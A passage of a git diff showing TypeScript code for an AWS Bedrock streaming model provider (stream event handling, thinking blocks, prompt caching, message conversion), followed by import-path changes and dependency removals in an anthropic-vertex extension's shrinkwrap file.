not sent for text blocks + if (!block) { + const newBlock: Block = { type: "text", text: "", index: contentBlockIndex }; + output.content.push(newBlock); + index = blocks.length - 1; + block = blocks[index]; + stream.push({ type: "text_start", contentIndex: index, partial: output }); + } + if (block.type === "text") { + block.text += delta.text; + stream.push({ type: "text_delta", contentIndex: index, delta: delta.text, partial: output }); + } + } else if (delta?.toolUse && block?.type === "toolCall") { + block.partialJson = (block.partialJson || "") + (delta.toolUse.input || ""); + block.arguments = parseStreamingJson(block.partialJson); + stream.push({ + type: "toolcall_delta", + contentIndex: index, + delta: delta.toolUse.input || "", + partial: output, + }); + } else if (delta?.reasoningContent) { + let thinkingBlock = block; + let thinkingIndex = index; + + if (!thinkingBlock) { + const newBlock: Block = { + type: "thinking", + thinking: "", + thinkingSignature: "", + index: contentBlockIndex, + }; + output.content.push(newBlock); + thinkingIndex = blocks.length - 1; + thinkingBlock = blocks[thinkingIndex]; + stream.push({ type: "thinking_start", contentIndex: thinkingIndex, partial: output }); + } + + if (thinkingBlock?.type === "thinking") { + if (delta.reasoningContent.text) { + thinkingBlock.thinking += delta.reasoningContent.text; + stream.push({ + type: "thinking_delta", + contentIndex: thinkingIndex, + delta: delta.reasoningContent.text, + partial: output, + }); + } + if (delta.reasoningContent.signature) { + thinkingBlock.thinkingSignature = + (thinkingBlock.thinkingSignature || "") + delta.reasoningContent.signature; + } + } + } +} + +function handleMetadata( + event: ConverseStreamMetadataEvent, + model: Model<"bedrock-converse-stream">, + output: AssistantMessage, +): void { + if (event.usage) { + output.usage.input = event.usage.inputTokens || 0; + output.usage.output = event.usage.outputTokens || 0; + output.usage.cacheRead = event.usage.cacheReadInputTokens || 0; + output.usage.cacheWrite = event.usage.cacheWriteInputTokens || 0; + output.usage.totalTokens = event.usage.totalTokens || output.usage.input + output.usage.output; + calculateCost(model, output.usage); + } +} + +function handleContentBlockStop( + event: ContentBlockStopEvent, + blocks: Block[], + output: AssistantMessage, + stream: AssistantMessageEventStream, +): void { + const index = blocks.findIndex((b) => b.index === event.contentBlockIndex); + const block = blocks[index]; + if (!block) { + return; + } + delete block.index; + + switch (block.type) { + case "text": + stream.push({ type: "text_end", contentIndex: index, content: block.text, partial: output }); + break; + case "thinking": + stream.push({ + type: "thinking_end", + contentIndex: index, + content: block.thinking, + partial: output, + }); + break; + case "toolCall": + block.arguments = parseStreamingJson(block.partialJson); + // Finalize in-place and strip the scratch buffer so replay only + // carries parsed arguments. + delete (block as Block).partialJson; + stream.push({ type: "toolcall_end", contentIndex: index, toolCall: block, partial: output }); + break; + } +} + +/** + * Check if the model supports adaptive thinking (Opus 4.6+, Sonnet 4.6). + * Checks both model ID and model name to support application inference profiles + * whose ARNs don't contain the model name. + */ +function getModelMatchCandidates(modelId: string, modelName?: string): string[] { + const values = modelName ? [modelId, modelName] : [modelId]; + return values.flatMap((value) => { + const lower = value.toLowerCase(); + return [lower, lower.replace(/[\s_.:]+/g, "-")]; + }); +} + +function supportsAdaptiveThinking(modelId: string, modelName?: string): boolean { + const candidates = getModelMatchCandidates(modelId, modelName); + return candidates.some( + (s) => s.includes("opus-4-6") || s.includes("opus-4-7") || s.includes("sonnet-4-6"), + ); +} + +function supportsNativeXhighEffort(model: Model<"bedrock-converse-stream">): boolean { + const candidates = getModelMatchCandidates(model.id, model.name); + return candidates.some((s) => s.includes("opus-4-7")); +} + +function mapThinkingLevelToEffort( + model: Model<"bedrock-converse-stream">, + level: SimpleStreamOptions["reasoning"], +): "low" | "medium" | "high" | "xhigh" | "max" { + if (level === "xhigh" && supportsNativeXhighEffort(model)) { + return "xhigh"; + } + + const mapped = level ? model.thinkingLevelMap?.[level] : undefined; + if (typeof mapped === "string") { + return mapped as "low" | "medium" | "high" | "xhigh" | "max"; + } + + switch (level) { + case "minimal": + case "low": + return "low"; + case "medium": + return "medium"; + case "high": + return "high"; + default: + return "high"; + } +} + +/** + * Resolve cache retention preference. + * Defaults to "short" and uses OPENCLAW_CACHE_RETENTION for backward compatibility. + */ +function resolveCacheRetention(cacheRetention?: CacheRetention): CacheRetention { + if (cacheRetention) { + return cacheRetention; + } + if (typeof process !== "undefined" && process.env.OPENCLAW_CACHE_RETENTION === "long") { + return "long"; + } + return "short"; +} + +/** + * Check if the model is an Anthropic Claude model on Bedrock. + * Checks both model ID and model name to support application inference profiles + * whose ARNs don't contain the model name. + */ +function isAnthropicClaudeModel(model: Model<"bedrock-converse-stream">): boolean { + const id = model.id.toLowerCase(); + const name = model.name?.toLowerCase() ?? ""; + return ( + id.includes("anthropic.claude") || + id.includes("anthropic/claude") || + name.includes("anthropic.claude") || + name.includes("anthropic/claude") || + name.includes("claude") + ); +} + +function supportsPromptCaching(model: Model<"bedrock-converse-stream">): boolean { + return supportsBedrockPromptCaching(model.id, model.name); +} + +/** + * Check if the model supports thinking signatures in reasoningContent. + * Only Anthropic Claude models support the signature field. + * Other models (OpenAI, Qwen, Minimax, Moonshot, etc.) reject it with: + * "This model doesn't support the reasoningContent.reasoningText.signature field" + * + * Checks both model ID and model name to support application inference profiles. + */ +function supportsThinkingSignature(model: Model<"bedrock-converse-stream">): boolean { + return isAnthropicClaudeModel(model); +} + +function buildSystemPrompt( + systemPrompt: string | undefined, + model: Model<"bedrock-converse-stream">, + cacheRetention: CacheRetention, +): SystemContentBlock[] | undefined { + if (!systemPrompt) { + return undefined; + } + + const blocks: SystemContentBlock[] = [{ text: sanitizeSurrogates(systemPrompt) }]; + + // Add cache point for supported Claude models when caching is enabled + if (cacheRetention !== "none" && supportsPromptCaching(model)) { + blocks.push({ + cachePoint: { + type: CachePointType.DEFAULT, + ...(cacheRetention === "long" ? { ttl: CacheTTL.ONE_HOUR } : {}), + }, + }); + } + + return blocks; +} + +function normalizeToolCallId(id: string): string { + const sanitized = id.replace(/[^a-zA-Z0-9_-]/g, "_"); + return sanitized.length > 64 ? sanitized.slice(0, 64) : sanitized; +} + +function convertMessages( + context: Context, + model: Model<"bedrock-converse-stream">, + cacheRetention: CacheRetention, +): Message[] { + const result: Message[] = []; + const transformedMessages = transformMessages(context.messages, model, normalizeToolCallId); + + for (let i = 0; i < transformedMessages.length; i++) { + const m = transformedMessages[i]; + + switch (m.role) { + case "user": { + const content: ContentBlock[] = []; + if (typeof m.content === "string") { + content.push({ text: sanitizeSurrogates(m.content) }); + } else { + for (const c of m.content) { + switch (c.type) { + case "text": + content.push({ text: sanitizeSurrogates(c.text) }); + break; + case "image": + content.push({ image: createImageBlock(c.mimeType, c.data) }); + break; + default: + continue; + } + } + } + if (content.length === 0) { + continue; + } + result.push({ + role: ConversationRole.USER, + content, + }); + break; + } + case "assistant": { + // Skip assistant messages with empty content (e.g., from aborted requests) + // Bedrock rejects messages with empty content arrays + if (m.content.length === 0) { + continue; + } + const contentBlocks: ContentBlock[] = []; + for (const c of m.content) { + switch (c.type) { + case "text": + // Skip empty text blocks + if (c.text.trim().length === 0) { + continue; + } + contentBlocks.push({ text: sanitizeSurrogates(c.text) }); + break; + case "toolCall": + contentBlocks.push({ + toolUse: { toolUseId: c.id, name: c.name, input: c.arguments as DocumentType }, + }); + break; + case "thinking": + // Skip empty thinking blocks + if (c.thinking.trim().length === 0) { + continue; + } + // Only Anthropic models support the signature field in reasoningText. + // For other models, we omit the signature to avoid errors like: + // "This model doesn't support the reasoningContent.reasoningText.signature field" + if (supportsThinkingSignature(model)) { + // Signatures arrive after thinking deltas. If a partial or externally + // persisted message lacks a signature, Bedrock rejects the replayed + // reasoning block. Fall back to plain text, matching Anthropic. + if (!c.thinkingSignature || c.thinkingSignature.trim().length === 0) { + contentBlocks.push({ text: sanitizeSurrogates(c.thinking) }); + } else { + contentBlocks.push({ + reasoningContent: { + reasoningText: { + text: sanitizeSurrogates(c.thinking), + signature: c.thinkingSignature, + }, + }, + }); + } + } else { + contentBlocks.push({ text: sanitizeSurrogates(c.thinking) }); + } + break; + default: + continue; + } + } + // Skip if all content blocks were filtered out + if (contentBlocks.length === 0) { + continue; + } + result.push({ + role: ConversationRole.ASSISTANT, + content: contentBlocks, + }); + break; + } + case "toolResult": { + // Collect all consecutive toolResult messages into a single user message + // Bedrock requires all tool results to be in one message + const toolResults: ContentBlock.ToolResultMember[] = []; + + // Add current tool result with all content blocks combined + toolResults.push({ + toolResult: { + toolUseId: m.toolCallId, + content: m.content.map((c) => + c.type === "image" + ? { image: createImageBlock(c.mimeType, c.data) } + : { text: sanitizeSurrogates(c.text) }, + ), + status: m.isError ? ToolResultStatus.ERROR : ToolResultStatus.SUCCESS, + }, + }); + + // Look ahead for consecutive toolResult messages + let j = i + 1; + while (j < transformedMessages.length && transformedMessages[j].role === "toolResult") { + const nextMsg = transformedMessages[j] as ToolResultMessage; + toolResults.push({ + toolResult: { + toolUseId: nextMsg.toolCallId, + content: nextMsg.content.map((c) => + c.type === "image" + ? { image: createImageBlock(c.mimeType, c.data) } + : { text: sanitizeSurrogates(c.text) }, + ), + status: nextMsg.isError ? ToolResultStatus.ERROR : ToolResultStatus.SUCCESS, + }, + }); + j++; + } + + // Skip the messages we've already processed + i = j - 1; + + result.push({ + role: ConversationRole.USER, + content: toolResults, + }); + break; + } + default: + continue; + } + } + + // Add cache point to the last user message for supported Claude models when caching is enabled + if (cacheRetention !== "none" && supportsPromptCaching(model) && result.length > 0) { + const lastMessage = result[result.length - 1]; + if (lastMessage.role === ConversationRole.USER && lastMessage.content) { + lastMessage.content.push({ + cachePoint: { + type: CachePointType.DEFAULT, + ...(cacheRetention === "long" ? { ttl: CacheTTL.ONE_HOUR } : {}), + }, + }); + } + } + + return result; +} + +function convertToolConfig( + tools: Tool[] | undefined, + toolChoice: BedrockOptions["toolChoice"], +): ToolConfiguration | undefined { + if (!tools?.length || toolChoice === "none") { + return undefined; + } + + const bedrockTools: BedrockTool[] = tools.map((tool) => ({ + toolSpec: { + name: tool.name, + description: tool.description, + inputSchema: { json: tool.parameters as unknown as DocumentType }, + }, + })); + + let bedrockToolChoice: ToolChoice | undefined; + switch (toolChoice) { + case "auto": + bedrockToolChoice = { auto: {} }; + break; + case "any": + bedrockToolChoice = { any: {} }; + break; + default: + if (typeof toolChoice === "object" && toolChoice?.type === "tool") { + bedrockToolChoice = { tool: { name: toolChoice.name } }; + } + } + + return { tools: bedrockTools, toolChoice: bedrockToolChoice }; +} + +function mapStopReason(reason: string | undefined): StopReason { + switch (reason) { + case BedrockStopReason.END_TURN: + case BedrockStopReason.STOP_SEQUENCE: + return "stop"; + case BedrockStopReason.MAX_TOKENS: + case BedrockStopReason.MODEL_CONTEXT_WINDOW_EXCEEDED: + return "length"; + case BedrockStopReason.TOOL_USE: + return "toolUse"; + default: + return "error"; + } +} + +function getConfiguredBedrockRegion(options: BedrockOptions): string | undefined { + if (typeof process === "undefined") { + return options.region; + } + + return options.region || process.env.AWS_REGION || process.env.AWS_DEFAULT_REGION || undefined; +} + +function hasConfiguredBedrockProfile(options: BedrockOptions): boolean { + if (options.profile) { + return true; + } + if (typeof process === "undefined") { + return false; + } + + return Boolean(process.env.AWS_PROFILE); +} + +function getStandardBedrockEndpointRegion(baseUrl: string | undefined): string | undefined { + if (!baseUrl) { + return undefined; + } + + try { + const { hostname } = new URL(baseUrl); + const match = hostname + .toLowerCase() + .match(/^bedrock-runtime(?:-fips)?\.([a-z0-9-]+)\.amazonaws\.com(?:\.cn)?$/); + return match?.[1]; + } catch { + return undefined; + } +} + +function shouldUseExplicitBedrockEndpoint( + baseUrl: string, + configuredRegion: string | undefined, + hasConfiguredProfile: boolean, +): boolean { + const endpointRegion = getStandardBedrockEndpointRegion(baseUrl); + if (!endpointRegion) { + return true; + } + + return !configuredRegion && !hasConfiguredProfile; +} + +function isGovCloudBedrockTarget( + model: Model<"bedrock-converse-stream">, + options: BedrockOptions, +): boolean { + const region = getConfiguredBedrockRegion(options); + if (region?.toLowerCase().startsWith("us-gov-")) { + return true; + } + + const modelId = model.id.toLowerCase(); + return modelId.startsWith("us-gov.") || modelId.startsWith("arn:aws-us-gov:"); +} + +function buildAdditionalModelRequestFields( + model: Model<"bedrock-converse-stream">, + options: BedrockOptions, +): DocumentType | undefined { + if (!options.reasoning || !model.reasoning) { + return undefined; + } + + if (isAnthropicClaudeModel(model)) { + // GovCloud Bedrock currently rejects the Claude thinking.display field. + // Omit it there until the GovCloud Converse schema catches up. + const display = isGovCloudBedrockTarget(model, options) + ? undefined + : (options.thinkingDisplay ?? "summarized"); + const result: Record = supportsAdaptiveThinking(model.id, model.name) + ? { + thinking: { type: "adaptive", ...(display !== undefined ? { display } : {}) }, + output_config: { effort: mapThinkingLevelToEffort(model, options.reasoning) }, + } + : (() => { + const defaultBudgets: Record = { + minimal: 1024, + low: 2048, + medium: 8192, + high: 16384, + xhigh: 16384, // Claude doesn't support xhigh, clamp to high + }; + + // Custom budgets override defaults (xhigh not in ThinkingBudgets, use high) + const level = options.reasoning === "xhigh" ? "high" : options.reasoning; + const budget = options.thinkingBudgets?.[level] ?? defaultBudgets[options.reasoning]; + + return { + thinking: { + type: "enabled", + budget_tokens: budget, + ...(display !== undefined ? { display } : {}), + }, + }; + })(); + + if (!supportsAdaptiveThinking(model.id, model.name) && (options.interleavedThinking ?? true)) { + result.anthropic_beta = ["interleaved-thinking-2025-05-14"]; + } + + return result as DocumentType; + } + + return undefined; +} + +function createImageBlock(mimeType: string, data: string) { + let format: ImageFormat; + switch (mimeType) { + case "image/jpeg": + case "image/jpg": + format = ImageFormat.JPEG; + break; + case "image/png": + format = ImageFormat.PNG; + break; + case "image/gif": + format = ImageFormat.GIF; + break; + case "image/webp": + format = ImageFormat.WEBP; + break; + default: + throw new Error(`Unknown image type: ${mimeType}`); + } + + const binaryString = atob(data); + const bytes = new Uint8Array(binaryString.length); + for (let i = 0; i < binaryString.length; i++) { + bytes[i] = binaryString.charCodeAt(i); + } + + return { source: { bytes }, format }; +} + +export const testing = { + convertMessages, + getConfiguredBedrockRegion, + hasConfiguredBedrockProfile, + shouldUseExplicitBedrockEndpoint, +}; diff --git a/extensions/anthropic-vertex/api.test.ts b/extensions/anthropic-vertex/api.test.ts index 9cf29664a40..ec231fd5071 100644 --- a/extensions/anthropic-vertex/api.test.ts +++ b/extensions/anthropic-vertex/api.test.ts @@ -1,4 +1,4 @@ -import { createAssistantMessageEventStream, type Model } from "@earendil-works/pi-ai"; +import { createAssistantMessageEventStream, type Model } from "openclaw/plugin-sdk/llm"; import { beforeAll, describe, expect, it, vi } from "vitest"; import type { AnthropicVertexStreamDeps } from "./stream-runtime.js"; diff --git a/extensions/anthropic-vertex/api.ts b/extensions/anthropic-vertex/api.ts index 3696d7a8a1c..7b37892df88 100644 --- a/extensions/anthropic-vertex/api.ts +++ b/extensions/anthropic-vertex/api.ts @@ -1,4 +1,4 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import type { AnthropicVertexStreamDeps } from "./stream-runtime.js"; export { diff --git a/extensions/anthropic-vertex/npm-shrinkwrap.json b/extensions/anthropic-vertex/npm-shrinkwrap.json index 8e38eaca886..80d87160765 100644 --- a/extensions/anthropic-vertex/npm-shrinkwrap.json +++ b/extensions/anthropic-vertex/npm-shrinkwrap.json @@ -8,9 +8,7 @@ "name": "@openclaw/anthropic-vertex-provider", "version": "2026.5.27", "dependencies": { - "@anthropic-ai/vertex-sdk": "0.16.1", - "@earendil-works/pi-agent-core": "0.75.5", - "@earendil-works/pi-ai": "0.75.5" + "@anthropic-ai/vertex-sdk": "0.16.1" } }, "node_modules/@anthropic-ai/sdk": { @@ -44,412 +42,6 @@ "google-auth-library": "^9.4.2" } }, - "node_modules/@aws-crypto/crc32": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@aws-crypto/crc32/-/crc32-5.2.0.tgz", - "integrity": "sha512-nLbCWqQNgUiwwtFsen1AdzAtvuLRsQS8rYgMuxCrdKf9kOssamGLuPwyTY9wyYblNr9+1XM8v6zoDTPPSIeANg==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/util": "^5.2.0", - "@aws-sdk/types": "^3.222.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=16.0.0" - } - }, - "node_modules/@aws-crypto/sha256-browser": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@aws-crypto/sha256-browser/-/sha256-browser-5.2.0.tgz", - "integrity": "sha512-AXfN/lGotSQwu6HNcEsIASo7kWXZ5HYWvfOmSNKDsEqC4OashTp8alTmaz+F7TC2L083SFv5RdB+qU3Vs1kZqw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/sha256-js": "^5.2.0", - "@aws-crypto/supports-web-crypto": "^5.2.0", - "@aws-crypto/util": "^5.2.0", - "@aws-sdk/types": "^3.222.0", - "@aws-sdk/util-locate-window": "^3.0.0", - "@smithy/util-utf8": "^2.0.0", - "tslib": "^2.6.2" - } - }, - "node_modules/@aws-crypto/sha256-js": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@aws-crypto/sha256-js/-/sha256-js-5.2.0.tgz", - "integrity": "sha512-FFQQyu7edu4ufvIZ+OadFpHHOt+eSTBaYaki44c+akjg7qZg9oOQeLlk77F6tSYqjDAFClrHJk9tMf0HdVyOvA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/util": "^5.2.0", - "@aws-sdk/types": "^3.222.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=16.0.0" - } - }, - "node_modules/@aws-crypto/supports-web-crypto": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@aws-crypto/supports-web-crypto/-/supports-web-crypto-5.2.0.tgz", - "integrity": "sha512-iAvUotm021kM33eCdNfwIN//F77/IADDSs58i+MDaOqFrVjZo9bAal0NK7HurRuWLLpF1iLX7gbWrjHjeo+YFg==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - } - }, - "node_modules/@aws-crypto/util": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@aws-crypto/util/-/util-5.2.0.tgz", - "integrity": "sha512-4RkU9EsI6ZpBve5fseQlGNUWKMa1RLPQ1dnjnQoe07ldfIzcsGb5hC5W0Dm7u423KWzawlrpbjXBrXCEv9zazQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.222.0", - "@smithy/util-utf8": "^2.0.0", - "tslib": "^2.6.2" - } - }, - "node_modules/@aws-sdk/client-bedrock-runtime": { - "version": "3.1053.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/client-bedrock-runtime/-/client-bedrock-runtime-3.1053.0.tgz", - "integrity": "sha512-I5dua8y1logE+Mx6r5kvI1tjM+XyC3H42KDCpEqmhrJfanor/x/AdOavyv3HnS4sBqUxx2IrjLP3ouEumjeTzA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/sha256-browser": "5.2.0", - "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/credential-provider-node": "^3.972.44", - "@aws-sdk/eventstream-handler-node": "^3.972.17", - "@aws-sdk/middleware-eventstream": "^3.972.13", - "@aws-sdk/middleware-websocket": "^3.972.21", - "@aws-sdk/token-providers": "3.1053.0", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/fetch-http-handler": "^5.4.3", - "@smithy/node-http-handler": "^4.7.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/core": { - "version": "3.974.13", - "resolved": "https://registry.npmjs.org/@aws-sdk/core/-/core-3.974.13.tgz", - "integrity": "sha512-+Y5/4tHki0uYgyx8eun146DegRVQBpdKGK5RbV0FTKJPpaKTchvqVxrrRFK6Wk0JksO4iAZKw3eqxGEIwtO98w==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.9", - "@aws-sdk/xml-builder": "^3.972.25", - "@aws/lambda-invoke-store": "^0.2.2", - "@smithy/core": "^3.24.3", - "@smithy/signature-v4": "^5.4.2", - "@smithy/types": "^4.14.2", - "bowser": "^2.11.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-env": { - "version": "3.972.39", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-env/-/credential-provider-env-3.972.39.tgz", - "integrity": "sha512-29wX9zpAvEt1vcj0psha+y6ygBHy2V/S72mp6e7q0KARLWXq+pwE/lR6qGkwknQvruh52lXvlqZIga8Hdxkucw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-http": { - "version": "3.972.41", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-http/-/credential-provider-http-3.972.41.tgz", - "integrity": "sha512-IA3CQTjtJkb6u1H4mE4936c8OPBMa9Jggtwe8U2Mqw/vvb/tZ5Ebd0mcZcX0uKWQhOyYo/+qNIwkV5Xh+FeJJA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/fetch-http-handler": "^5.4.3", - "@smithy/node-http-handler": "^4.7.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-ini": { - "version": "3.972.43", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.972.43.tgz", - "integrity": "sha512-4mzII+3mZEVXXE1xzrLQrCJL7/r62A63bA6SVzZoNL5rqCJghpf+xgGltVrIBBs0n+mOZBKrQl2tRREtvZ5l6A==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/credential-provider-env": "^3.972.39", - "@aws-sdk/credential-provider-http": "^3.972.41", - "@aws-sdk/credential-provider-login": "^3.972.43", - "@aws-sdk/credential-provider-process": "^3.972.39", - "@aws-sdk/credential-provider-sso": "^3.972.43", - "@aws-sdk/credential-provider-web-identity": "^3.972.43", - "@aws-sdk/nested-clients": "^3.997.11", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/credential-provider-imds": "^4.3.2", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-login": { - "version": "3.972.43", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-login/-/credential-provider-login-3.972.43.tgz", - "integrity": "sha512-HG7kQCwXtbv3oBV61Ins0oNX8KKyvrMqqRkb6ZiAfQHbMuHaiNaEb2KnpKLPkNpqImSBK82UkVE/kaY6IfWikA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/nested-clients": "^3.997.11", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-node": { - "version": "3.972.44", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-node/-/credential-provider-node-3.972.44.tgz", - "integrity": "sha512-sDaBIT0yrNNIPfvlsiTCmANm07zKju+ipWODjEXgZlsjMeIJR3LVp7RDyAOzUoAsTbDfYKDWp+i5WrFiQP6rmQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/credential-provider-env": "^3.972.39", - "@aws-sdk/credential-provider-http": "^3.972.41", - "@aws-sdk/credential-provider-ini": "^3.972.43", - "@aws-sdk/credential-provider-process": "^3.972.39", - "@aws-sdk/credential-provider-sso": "^3.972.43", - "@aws-sdk/credential-provider-web-identity": "^3.972.43", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/credential-provider-imds": "^4.3.2", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-process": { - "version": "3.972.39", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-process/-/credential-provider-process-3.972.39.tgz", - "integrity": "sha512-2k/amBifLd75eXNwgvPw/2lKYSQ3NhvHQgkVKVjfUq13/eJ3JRtHmznuFenn74OK3sSfp4SMy1YB2w+UVXoKqA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-sso": { - "version": "3.972.43", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.972.43.tgz", - "integrity": "sha512-LPc3+Y4vhH1T4x6CMqwCM6hk5+SRf/Lwmgm8INm95wxTtIRHcMwQUVkDzWu4Iw/RSncxYM2BC01OrYbxOPZvyg==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/nested-clients": "^3.997.11", - "@aws-sdk/token-providers": "3.1052.0", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-web-identity": { - "version": "3.972.43", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.972.43.tgz", - "integrity": "sha512-wQtL34lUD/09VXjwAUo2T+I3aEXRDxMB3DKmTJL/Zj0Gi6sLDTrVhae1XVt01yzkquOWajI/sZW72JGDZ1ciTw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/nested-clients": "^3.997.11", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/eventstream-handler-node": { - "version": "3.972.17", - "resolved": "https://registry.npmjs.org/@aws-sdk/eventstream-handler-node/-/eventstream-handler-node-3.972.17.tgz", - "integrity": "sha512-WFwdNcjchKZr7jKYgGimUZO8sSKQF/le7GGqgeCzz/lHozInE6b0gFJ1YMr8NaIeAoWJwgtrF7RE4/qMgosAdQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/middleware-eventstream": { - "version": "3.972.13", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-eventstream/-/middleware-eventstream-3.972.13.tgz", - "integrity": "sha512-ECfsw7mf6G/sxNbKbGE3/h1xeIArY/yRI1IjDGYkLgDIankh+aDOtDRSr40LVlIHGL9+jEH1cVuxmbJ8NLL/1A==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/middleware-websocket": { - "version": "3.972.21", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-websocket/-/middleware-websocket-3.972.21.tgz", - "integrity": "sha512-yr+5+C7v9R55sAJ89A55Wrm7wIKPVn5cm6J3Hztnd5s/iwEUKxyJqCnIxJu4fVXgG9XBQD1Jc4rsWC1ozahJjA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/fetch-http-handler": "^5.4.3", - "@smithy/signature-v4": "^5.4.2", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">= 14.0.0" - } - }, - "node_modules/@aws-sdk/nested-clients": { - "version": "3.997.11", - "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.997.11.tgz", - "integrity": "sha512-nWXXJ1r/r8N2Gw1pWolRgED38/A9A8DHR2ETWIv220zh4PZHcybbR4hUVWWktmNXTRHzDJwRluapHn0rZxuoqA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/sha256-browser": "5.2.0", - "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/signature-v4-multi-region": "^3.996.28", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/fetch-http-handler": "^5.4.3", - "@smithy/node-http-handler": "^4.7.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/signature-v4-multi-region": { - "version": "3.996.28", - "resolved": "https://registry.npmjs.org/@aws-sdk/signature-v4-multi-region/-/signature-v4-multi-region-3.996.28.tgz", - "integrity": "sha512-qs9z5LqXO/CZC2Lg9SGKpoLU8Rhi+m2pFKZqfO9pytX1clc0katqtsDNupJxFy0xT9wsZSPzM2v1y+/H/zfp5Q==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/signature-v4": "^5.4.2", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - 